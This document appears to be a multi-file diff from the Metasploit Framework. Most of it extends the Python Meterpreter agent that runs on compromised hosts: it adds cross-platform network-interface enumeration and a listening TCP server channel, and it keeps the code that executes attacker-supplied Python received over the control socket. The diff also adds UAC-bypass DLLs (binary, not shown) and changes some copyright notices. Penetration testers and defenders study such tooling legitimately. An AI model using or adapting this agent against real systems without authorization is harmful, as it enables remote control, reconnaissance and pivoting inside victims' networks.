address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
@ -338,8 +540,17 @@ def windll_GetNativeSystemInfo():
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
def windll_GetVersion():
if not has_windll:
return None
dwVersion = ctypes.windll.kernel32.GetVersion()
dwMajorVersion = (dwVersion & 0x000000ff)
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
dwBuild = ((dwVersion & 0xffff0000) >> 16)
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
@meterpreter.register_function
def channel_create_stdapi_fs_file(request, response):
def channel_open_stdapi_fs_file(request, response):
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
if fmode:
@ -353,7 +564,7 @@ def channel_create_stdapi_fs_file(request, response):
return ERROR_SUCCESS, response
@meterpreter.register_function
def channel_create_stdapi_net_tcp_client(request, response):
def channel_open_stdapi_net_tcp_client(request, response):
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
@ -373,7 +584,19 @@ def channel_create_stdapi_net_tcp_client(request, response):
pass
if not connected:
return ERROR_CONNECTION_ERROR, response
channel_id = meterpreter.add_channel(sock)
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def channel_open_stdapi_net_tcp_server(request, response):
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.bind((local_host, local_port))
server_sock.listen(socket.SOMAXCONN)
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@ -675,12 +898,12 @@ def stdapi_fs_ls(request, response):
@meterpreter.register_function
def stdapi_fs_md5(request, response):
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
import md5
m = md5.new()
else:
try:
import hashlib
m = hashlib.md5()
except ImportError:
import md5
m = md5.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
@ -722,12 +945,12 @@ def stdapi_fs_separator(request, response):
@meterpreter.register_function
def stdapi_fs_sha1(request, response):
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
import sha1
m = sha1.new()
else:
try:
import hashlib
m = hashlib.sha1()
except ImportError:
import sha
m = sha.new()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
@ -740,6 +963,235 @@ def stdapi_fs_stat(request, response):
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_net_config_get_interfaces(request, response):
if hasattr(socket, 'AF_NETLINK'):
interfaces = stdapi_net_config_get_interfaces_via_netlink()
elif has_osxsc:
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
elif has_windll:
interfaces = stdapi_net_config_get_interfaces_via_windll()
else:
return ERROR_FAILURE, response
for iface_info in interfaces:
iface_tlv = ''
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
if 'mtu' in iface_info:
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
if 'flags' in iface_info:
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
for address in iface_info.get('addrs', []):
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
if isinstance(address[2], (int, long)):
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
else:
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
return ERROR_SUCCESS, response
def stdapi_net_config_get_interfaces_via_netlink():
rta_align = lambda l: l+3 & ~3
iface_flags = {
0x0001: 'UP',
0x0002: 'BROADCAST',
0x0008: 'LOOPBACK',
0x0010: 'POINTTOPOINT',
0x0040: 'RUNNING',
0x0100: 'PROMISC',
0x1000: 'MULTICAST'
}
iface_flags_sorted = iface_flags.keys()
# Dictionaries don't maintain order
iface_flags_sorted.sort()
interfaces = {}
responses = netlink_request(RTM_GETLINK)
for res_data in responses:
iface = cstruct_unpack(IFINFOMSG, res_data)
iface_info = {'index':iface.index}
flags = []
for flag in iface_flags_sorted:
if (iface.flags & flag):
flags.append(iface_flags[flag])
iface_info['flags'] = ' '.join(flags)
cursor = ctypes.sizeof(IFINFOMSG)
while cursor < len(res_data):
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
at_len = attribute.len
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
cursor += rta_align(at_len)
if attribute.type == IFLA_ADDRESS:
iface_info['hw_addr'] = attr_data
elif attribute.type == IFLA_IFNAME:
iface_info['name'] = attr_data
elif attribute.type == IFLA_MTU:
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
interfaces[iface.index] = iface_info
responses = netlink_request(RTM_GETADDR)
for res_data in responses:
iface = cstruct_unpack(IFADDRMSG, res_data)
if not iface.family in (socket.AF_INET, socket.AF_INET6):
continue
iface_info = interfaces.get(iface.index, {})
cursor = ctypes.sizeof(IFADDRMSG)
while cursor < len(res_data):
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
at_len = attribute.len
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
cursor += rta_align(at_len)
if attribute.type == IFA_ADDRESS:
nm_bits = iface.prefixlen
if iface.family == socket.AF_INET:
netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits))
else:
if nm_bits >= 96:
netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits))
elif nm_bits >= 64:
netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0)
elif nm_bits >= 32:
netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0)
else:
netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0)
addr_list = iface_info.get('addrs', [])
addr_list.append((iface.family, attr_data, netmask))
iface_info['addrs'] = addr_list
elif attribute.type == IFA_LABEL:
iface_info['name'] = attr_data
interfaces[iface.index] = iface_info
return interfaces.values()
def stdapi_net_config_get_interfaces_via_osxsc():
ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None)
entities = []
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4))
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6))
patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks)
values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns)
interfaces = {}
for key, value in values.items():
iface_name = key.split('/')[3]
iface_info = interfaces.get(iface_name, {})
iface_info['name'] = str(iface_name)
if key.endswith('IPv4'):
family = socket.AF_INET
elif key.endswith('IPv6'):
family = socket.AF_INET6
else:
continue
iface_addresses = iface_info.get('addrs', [])
for idx in range(len(value['Addresses'])):
if family == socket.AF_INET:
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx])))
else:
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx]))
iface_info['addrs'] = iface_addresses
interfaces[iface_name] = iface_info
for iface_ref in osxsc.SCNetworkInterfaceCopyAll():
iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref)
if not iface_name in interfaces:
iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref)
if not iface_type in ['Ethernet', 'IEEE80211']:
continue
interfaces[iface_name] = {'name': str(iface_name)}
iface_info = interfaces[iface_name]
mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1]
iface_info['mtu'] = mtu
hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref)
if hw_addr:
hw_addr = hw_addr.replace(':', '')
hw_addr = hw_addr.decode('hex')
iface_info['hw_addr'] = hw_addr
ifnames = interfaces.keys()
ifnames.sort()
for iface_name, iface_info in interfaces.items():
iface_info['index'] = ifnames.index(iface_name)
return interfaces.values()
def stdapi_net_config_get_interfaces_via_windll():
iphlpapi = ctypes.windll.iphlpapi
if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
return stdapi_net_config_get_interfaces_via_windll_mib()
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
AdapterAddresses = ctypes.c_void_p()
SizePointer = ctypes.c_ulong()
SizePointer.value = 0
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
if AdapterAddresses.u.s.Length <= 72:
return stdapi_net_config_get_interfaces_via_windll_mib()
win_version = windll_GetVersion()
interfaces = []
pAdapterAddresses = ctypes.byref(AdapterAddresses)
while pAdapterAddresses:
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
pAdapterAddresses = AdapterAddresses.Next
pFirstPrefix = AdapterAddresses.FirstPrefix
iface_info = {}
iface_info['index'] = AdapterAddresses.u.s.IfIndex
if AdapterAddresses.PhysicalAddressLength:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
iface_info['mtu'] = AdapterAddresses.Mtu
pUniAddr = AdapterAddresses.FirstUnicastAddress
while pUniAddr:
UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
pUniAddr = UniAddr.Next
address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
continue
prefix = 0
if win_version.dwMajorVersion >= 6:
prefix = UniAddr.OnLinkPrefixLength
elif pFirstPrefix:
ip_adapter_prefix = 'QPPIL'
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
iface_addresses = iface_info.get('addrs', [])
if address.sa_family == socket.AF_INET:
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
else:
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
iface_info['addrs'] = iface_addresses
interfaces.append(iface_info)
return interfaces
def stdapi_net_config_get_interfaces_via_windll_mib():
iphlpapi = ctypes.windll.iphlpapi
table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
pdwSize = ctypes.c_ulong()
pdwSize.value = ctypes.sizeof(table)
if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
return None
interfaces = []
table_data = ctypes.string_at(table, pdwSize.value)
entries = struct.unpack('I', table_data[:4])[0]
table_data = table_data[4:]
for i in xrange(entries):
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
ifrow = MIB_IFROW()
ifrow.dwIndex = addrrow.dwIndex
if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
continue
iface_info = {}
table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
iface_info['index'] = addrrow.dwIndex
iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
if ifrow.dwPhysAddrLen:
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
if ifrow.dwDescrLen:
iface_info['name'] = ifrow.bDescr
iface_info['mtu'] = ifrow.dwMtu
interfaces.append(iface_info)
return interfaces
@meterpreter.register_function
def stdapi_net_resolve_host(request, response):
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
@ -776,9 +1228,10 @@ def stdapi_net_resolve_hosts(request, response):
@meterpreter.register_function
def stdapi_net_socket_tcp_shutdown(request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
channel = meterpreter.channels[channel_id]
channel.close()
channel.shutdown(how)
return ERROR_SUCCESS, response
@meterpreter.register_function_windll

View File

@ -1,6 +1,12 @@
#!/usr/bin/python
import code
import ctypes
try:
import ctypes
except:
has_windll = False
else:
has_windll = hasattr(ctypes, 'windll')
import os
import random
import select
@ -10,14 +16,12 @@ import subprocess
import sys
import threading
has_windll = hasattr(ctypes, 'windll')
#
# Constants
#
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
ERROR_SUCCESS = 0
@ -25,74 +29,103 @@ ERROR_SUCCESS = 0
ERROR_FAILURE = 1
CHANNEL_CLASS_BUFFERED = 0
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_STREAM = 1
CHANNEL_CLASS_DATAGRAM = 2
CHANNEL_CLASS_POOL = 3
CHANNEL_CLASS_POOL = 3
#
# TLV Meta Types
#
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_NONE = ( 0 )
TLV_META_TYPE_STRING = (1 << 16)
TLV_META_TYPE_UINT = (1 << 17)
TLV_META_TYPE_RAW = (1 << 18)
TLV_META_TYPE_BOOL = (1 << 19)
TLV_META_TYPE_COMPRESSED = (1 << 29)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
TLV_META_TYPE_GROUP = (1 << 30)
TLV_META_TYPE_COMPLEX = (1 << 31)
# not defined in original
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
#
# TLV base starting points
#
TLV_RESERVED = 0
TLV_RESERVED = 0
TLV_EXTENSIONS = 20000
TLV_USER = 40000
TLV_TEMP = 60000
TLV_USER = 40000
TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
return symbol
def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in xrange(32))
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_get_tlv(pkt, tlv_type):
offset = 0
while (offset < len(pkt)):
@ -111,6 +144,7 @@ def packet_get_tlv(pkt, tlv_type):
offset += tlv[0]
return {}
@export
def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0
while (offset < len(pkt)):
@ -129,6 +163,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
offset += tlv[0]
raise StopIteration()
@export
def tlv_pack(*args):
if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]}
@ -149,6 +184,25 @@ def tlv_pack(*args):
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
return data
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
self.sock = sock
def __getattr__(self, name):
return getattr(self.sock, name)
export(MeterpreterSocket)
#@export
class MeterpreterSocketClient(MeterpreterSocket):
pass
export(MeterpreterSocketClient)
#@export
class MeterpreterSocketServer(MeterpreterSocket):
pass
export(MeterpreterSocketServer)
class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive):
threading.Thread.__init__(self)
@ -178,6 +232,7 @@ class STDProcessBuffer(threading.Thread):
self.data_lock.release()
return data
#@export
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
@ -187,6 +242,7 @@ class STDProcess(subprocess.Popen):
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket):
@ -201,10 +257,12 @@ class PythonMeterpreter(object):
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
def register_function_windll(self, func):
if has_windll:
self.register_function(func)
return func
def add_channel(self, channel):
idx = 0
@ -235,7 +293,8 @@ class PythonMeterpreter(object):
self.socket.send(response)
else:
channels_for_removal = []
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = self.channels.keys()
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = ''
@ -248,7 +307,7 @@ class PythonMeterpreter(object):
data = channel.stderr_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, socket._socketobject):
elif isinstance(channel, MeterpreterSocketClient):
while len(select.select([channel.fileno()], [], [], 0)[0]):
try:
d = channel.recv(1)
@ -258,6 +317,21 @@ class PythonMeterpreter(object):
self.handle_dead_resource_channel(channel_id)
break
data += d
elif isinstance(channel, MeterpreterSocketServer):
if len(select.select([channel.fileno()], [], [], 0)[0]):
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@ -284,7 +358,9 @@ class PythonMeterpreter(object):
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
preloadlib_methods = self.extension_functions.keys()
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess})
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = self.extension_functions.keys()
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
@ -299,7 +375,7 @@ class PythonMeterpreter(object):
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_create_' + channel_type['value']
handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions:
return ERROR_FAILURE, response
handler = self.extension_functions[handler]
@ -314,7 +390,7 @@ class PythonMeterpreter(object):
channel.close()
elif isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(s, socket._socketobject):
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
return ERROR_FAILURE, response
@ -330,7 +406,7 @@ class PythonMeterpreter(object):
channel = self.channels[channel_id]
result = False
if isinstance(channel, file):
result = channel.tell() == os.fstat(channel.fileno()).st_size
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
@ -363,7 +439,7 @@ class PythonMeterpreter(object):
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(s, socket._socketobject):
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
return ERROR_FAILURE, response
@ -385,7 +461,7 @@ class PythonMeterpreter(object):
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.stdin.write(channel_data)
elif isinstance(s, socket._socketobject):
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
except socket.error:

BIN
data/post/bypassuac-x64.dll Executable file

Binary file not shown.

BIN
data/post/bypassuac-x86.dll Executable file

Binary file not shown.

View File

@ -878,7 +878,7 @@ The Metasploit Framework is distributed under the modified-BSD license defined b
{\footnotesize
\begin{verbatim}
Copyright (c) 2008, Rapid7 LLC
Copyright (c) 2008, Rapid7, Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
@ -891,7 +891,7 @@ are permitted provided that the following conditions are met:
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors
* Neither the name of Rapid7, Inc. nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.

View File

@ -1,6 +1,6 @@
/*
ruby-kissfft: a simple ruby module embedding the Kiss FFT library
Copyright (C) 2009-2010 Rapid7 LLC - H D Moore <hdm[at]metasploit.com>
Copyright (C) 2009-2010 Rapid7, Inc - H D Moore <hdm[at]metasploit.com>
Derived from "psdpng.c" from the KissFFT tools directory
Copyright (C) 2003-2006 Mark Borgerding

View File

@ -33,7 +33,7 @@
*/
/*
All ruby-lorcon/rubyisms are by Rapid7 LLC (C) 2006-2007
All ruby-lorcon/rubyisms are by Rapid7, Inc (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/

View File

@ -37,7 +37,7 @@
*/
/*
All ruby-lorcon/rubyisms are by Metasploit LLC (C) 2006-2007
All ruby-lorcon/rubyisms are by Rapid7, Inc. (C) 2006-2007
http://metasploit.com/ - msfdev[at]metasploit.com
*/

View File

@ -1,4 +1,4 @@
/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
var oFso = new ActiveXObject("Scripting.FileSystemObject");
var oShl = new ActiveXObject("WScript.Shell");

View File

@ -1,4 +1,4 @@
/* DLLHijackAuditKit (C) 2010 Rapid7 LLC */
/* DLLHijackAuditKit (C) 2010 Rapid7, Inc */
function print_status(msg) {
try {

View File

@ -0,0 +1,151 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.sln.docstates
# Build results
[Dd]ebug/
[Rr]elease/
x64/
build/
[Bb]in/
[Oo]bj/
# Enable "build/" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets
!packages/*/build/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
*_i.c
*_p.c
*.ilk
*.meta
*.obj
